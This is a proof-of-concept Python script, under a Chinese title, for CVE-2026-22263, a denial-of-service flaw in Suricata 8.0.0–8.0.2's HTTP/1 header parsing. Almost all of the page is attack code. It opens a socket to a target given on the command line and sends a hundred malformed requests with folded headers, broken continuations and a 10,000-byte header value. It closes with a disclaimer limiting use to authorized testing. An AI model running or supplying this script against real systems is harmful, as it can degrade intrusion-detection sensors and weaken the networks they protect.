CVE-2026-22263 Suricata HTTP1头部解析拒绝服务漏洞

# CVE-2026-22263 PoC - Suricata HTTP1 Header Parsing DoS # This PoC demonstrates sending malformed HTTP requests to trigger # the inefficient parsing in Suricata versions 8.0.0-8.0.2 import socket import time import sys def send_malformed_http_request(target_host, target_port, request_count=100): """ Send malformed HTTP/1.1 requests to trigger inefficient parsing. The vulnerability exists in HTTP1 header parsing which can cause performance degradation when processing specially crafted headers. """ # Malformed HTTP requests that may trigger inefficient parsing # Using various header manipulation techniques payloads = [ # Payload 1: Excessive header field folding b"GET / HTTP/1.1\r\n" b"Host: target\r\n" b"X-Header: value\r\n\t\r\n", # Payload 2: Malformed header continuation b"GET / HTTP/1.1\r\n" b"Host: target\r\n" b"X-Malformed:\r\n\tsecond-line\r\n\r\n", # Payload 3: Multiple colon variations b"GET / HTTP/1.1\r\n" b"Host:target\r\n" b"X-Test: multiple spaces \r\n\r\n", # Payload 4: Long header values with special chars b"GET / HTTP/1.1\r\n" b"Host: target\r\n" b"X-Evil: " + b"A" * 10000 + b"\r\n\r\n" ] print(f"[*] Starting CVE-2026-22263 DoS test against {target_host}:{target_port}") print(f"[*] Sending {request_count} malformed requests...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) for i in range(request_count): payload = payloads[i % len(payloads)] sock.sendall(payload) time.sleep(0.1) # Small delay between requests if (i + 1) % 10 == 0: print(f"[*] Sent {i + 1}/{request_count} requests") print("[+] Test completed. Monitor Suricata for performance degradation.") sock.close() except Exception as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2026-22263-poc.py <target_host> <target_port>") print("Example: python cve-2026-22263-poc.py 192.168.1.100 80") sys.exit(1) target_host = sys.argv[1] target_port = int(sys.argv[2]) send_malformed_http_request(target_host, target_port, request_count=100) # Note: This PoC is for educational and authorized testing purposes only. # The actual exploitation requires the target to be running Suricata # with HTTP traffic inspection enabled on the path to the target.